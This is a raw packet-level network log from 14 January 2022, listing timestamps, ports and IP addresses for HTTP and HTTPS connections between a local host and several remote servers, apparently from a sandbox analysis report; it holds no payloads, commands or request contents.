Jan 14, 2022 20:29:50.223428011 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223450899 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223460913 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.223479033 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223504066 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223512888 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.223529100 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223551989 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.223553896 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223579884 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223602057 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.223604918 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223630905 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223654985 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223679066 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.223680019 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223702908 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.223706007 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223731995 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223756075 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223776102 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.223781109 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223807096 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223822117 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.223833084 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223850012 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.223855972 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223881006 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223900080 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.223905087 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223927975 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223952055 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223972082 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.223974943 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.223999023 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224004030 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.224024057 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224035025 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.224046946 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224072933 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224086046 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.224097967 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224122047 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224145889 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224162102 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.224169970 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224191904 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.224195004 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224220991 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224232912 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.224244118 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224267960 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224292994 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224312067 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.224315882 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224340916 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224342108 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.224364996 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224383116 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.224390984 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224415064 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224440098 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224457026 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.224464893 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224488020 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.224489927 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224513054 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224529028 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.224538088 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224561930 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224587917 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224605083 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.224612951 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224632978 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.224637032 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224662066 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224675894 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.224685907 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224709034 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224734068 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224750042 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.224757910 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224781036 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.224782944 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224808931 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224828005 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.224833012 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224859953 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.224873066 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.233284950 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.233309031 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.233333111 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.233359098 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.233376026 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.233381033 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.233400106 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.233416080 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.233422995 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.233433008 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.233441114 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.233453035 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.233479023 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.233510971 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.234177113 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.234199047 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.234222889 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.234247923 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.234251022 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.234296083 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.235609055 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.235639095 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.235722065 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.241995096 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.242024899 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.242052078 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.242077112 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.242101908 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.242109060 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.242120028 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.242125034 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.242171049 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.254642010 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.271971941 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:53.076096058 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:53.093444109 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:53.093574047 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:53.093641043 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:53.093657017 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:53.110899925 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:53.207812071 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:53.210694075 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:53.210875034 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:53.228060007 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:53.238354921 CET	49873	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:53.255779982 CET	80	49873	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:53.255860090 CET	49873	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:53.256162882 CET	49873	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:53.256175995 CET	49873	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:53.273468018 CET	80	49873	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:53.373169899 CET	80	49873	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:53.373321056 CET	49873	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:53.373428106 CET	49873	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:53.390742064 CET	80	49873	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:53.407171965 CET	49874	443	192.168.2.4	172.67.139.105
Jan 14, 2022 20:29:53.407239914 CET	443	49874	172.67.139.105	192.168.2.4
Jan 14, 2022 20:29:53.407366991 CET	49874	443	192.168.2.4	172.67.139.105
Jan 14, 2022 20:29:53.407711029 CET	49874	443	192.168.2.4	172.67.139.105
Jan 14, 2022 20:29:53.407773972 CET	443	49874	172.67.139.105	192.168.2.4
Jan 14, 2022 20:29:53.505903006 CET	443	49874	172.67.139.105	192.168.2.4
Jan 14, 2022 20:29:53.506047964 CET	49874	443	192.168.2.4	172.67.139.105
Jan 14, 2022 20:29:53.508119106 CET	49874	443	192.168.2.4	172.67.139.105
Jan 14, 2022 20:29:53.508138895 CET	443	49874	172.67.139.105	192.168.2.4
Jan 14, 2022 20:29:53.508440018 CET	443	49874	172.67.139.105	192.168.2.4
Jan 14, 2022 20:29:53.509458065 CET	49874	443	192.168.2.4	172.67.139.105
Jan 14, 2022 20:29:53.549885035 CET	443	49874	172.67.139.105	192.168.2.4
Jan 14, 2022 20:29:53.817054987 CET	443	49874	172.67.139.105	192.168.2.4
Jan 14, 2022 20:29:53.817162037 CET	443	49874	172.67.139.105	192.168.2.4
Jan 14, 2022 20:29:53.817193031 CET	443	49874	172.67.139.105	192.168.2.4
Jan 14, 2022 20:29:53.817224026 CET	443	49874	172.67.139.105	192.168.2.4
Jan 14, 2022 20:29:53.817253113 CET	443	49874	172.67.139.105	192.168.2.4
Jan 14, 2022 20:29:53.817282915 CET	443	49874	172.67.139.105	192.168.2.4
Jan 14, 2022 20:29:53.817302942 CET	49874	443	192.168.2.4	172.67.139.105
Jan 14, 2022 20:29:53.817312002 CET	443	49874	172.67.139.105	192.168.2.4
Jan 14, 2022 20:29:53.817353010 CET	443	49874	172.67.139.105	192.168.2.4
Jan 14, 2022 20:29:53.817374945 CET	49874	443	192.168.2.4	172.67.139.105
Jan 14, 2022 20:29:53.817387104 CET	49874	443	192.168.2.4	172.67.139.105
Jan 14, 2022 20:29:53.817445040 CET	443	49874	172.67.139.105	192.168.2.4
Jan 14, 2022 20:29:53.817501068 CET	49874	443	192.168.2.4	172.67.139.105
Jan 14, 2022 20:29:53.817755938 CET	49874	443	192.168.2.4	172.67.139.105
Jan 14, 2022 20:29:53.817786932 CET	443	49874	172.67.139.105	192.168.2.4
Jan 14, 2022 20:29:53.817817926 CET	49874	443	192.168.2.4	172.67.139.105
Jan 14, 2022 20:29:53.817831993 CET	443	49874	172.67.139.105	192.168.2.4
Jan 14, 2022 20:29:53.845478058 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:53.862771988 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:53.862875938 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:53.863034964 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:53.863044977 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:53.880234003 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:53.983397007 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:53.983504057 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:53.983673096 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.001074076 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.020684004 CET	49876	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:29:54.020750999 CET	443	49876	144.76.136.153	192.168.2.4
Jan 14, 2022 20:29:54.020836115 CET	49876	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:29:54.021119118 CET	49876	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:29:54.021150112 CET	443	49876	144.76.136.153	192.168.2.4
Jan 14, 2022 20:29:54.122870922 CET	443	49876	144.76.136.153	192.168.2.4
Jan 14, 2022 20:29:54.122971058 CET	49876	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:29:54.125607967 CET	49876	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:29:54.125622988 CET	443	49876	144.76.136.153	192.168.2.4
Jan 14, 2022 20:29:54.125996113 CET	443	49876	144.76.136.153	192.168.2.4
Jan 14, 2022 20:29:54.126756907 CET	49876	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:29:54.173868895 CET	443	49876	144.76.136.153	192.168.2.4
Jan 14, 2022 20:29:54.198002100 CET	443	49876	144.76.136.153	192.168.2.4
Jan 14, 2022 20:29:54.198081017 CET	443	49876	144.76.136.153	192.168.2.4
Jan 14, 2022 20:29:54.198163986 CET	49876	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:29:54.208043098 CET	49876	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:29:54.208084106 CET	443	49876	144.76.136.153	192.168.2.4
Jan 14, 2022 20:29:54.240061045 CET	49877	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.257483959 CET	80	49877	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.257577896 CET	49877	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.257736921 CET	49877	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.257761002 CET	49877	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.275253057 CET	80	49877	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.383981943 CET	80	49877	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.384063005 CET	49877	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.384105921 CET	49877	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.401818991 CET	80	49877	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.409212112 CET	49878	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.426613092 CET	80	49878	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.426724911 CET	49878	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.426821947 CET	49878	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.426829100 CET	49878	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.444264889 CET	80	49878	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.546067953 CET	80	49878	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.546247005 CET	49878	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.546297073 CET	49878	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.563807964 CET	80	49878	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.573812008 CET	49879	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.591016054 CET	80	49879	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.591141939 CET	49879	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.591207981 CET	49879	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.591228962 CET	49879	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.608355999 CET	80	49879	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.707092047 CET	80	49879	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.707184076 CET	49879	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.707314968 CET	49879	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.724452972 CET	80	49879	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.733918905 CET	49880	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.751265049 CET	80	49880	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.751354933 CET	49880	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.751441002 CET	49880	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.751450062 CET	49880	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.768709898 CET	80	49880	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.871646881 CET	80	49880	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.871670008 CET	80	49880	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.871764898 CET	49880	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.871901989 CET	49880	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.889122963 CET	80	49880	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.897090912 CET	49881	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.914470911 CET	80	49881	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.914851904 CET	49881	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.917920113 CET	49881	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.917949915 CET	49881	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:54.935158014 CET	80	49881	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:54.935178041 CET	80	49881	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:55.049962997 CET	80	49881	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:55.050046921 CET	49881	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:55.070112944 CET	49881	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:55.080733061 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.087493896 CET	80	49881	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:55.138705969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.138803959 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.138906956 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.209891081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.209916115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.209928036 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.209939957 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.210021019 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.267822981 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.267848969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.267862082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.267874002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.267887115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.267905951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.267919064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.267924070 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.267931938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.267960072 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.268007040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.325714111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.325738907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.325757027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.325773001 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.325788975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.325807095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.325823069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.325840950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.325869083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.325880051 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.325886011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.325907946 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.325925112 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.328103065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.328125000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.328142881 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.328160048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.328176022 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.328191042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.328227997 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.328257084 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.383811951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.383837938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.383852959 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.383868933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.383886099 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.383902073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.383903027 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.383919001 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.383935928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.383949041 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.383951902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.383966923 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.383968115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.383985996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.384004116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.384011984 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.384021997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.384038925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.384042978 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.384057045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.384076118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.384094954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.384102106 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.384126902 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.385910034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.385931969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.385945082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.385956049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.385973930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.385991096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.386003017 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.386008024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.386025906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.386042118 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.386059046 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.386269093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.386288881 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.386305094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.386320114 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.386321068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.386349916 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.435760975 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.442027092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442058086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442074060 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442090988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442107916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442121983 CET	49882	80	192.168.2.4	81.163.30.181
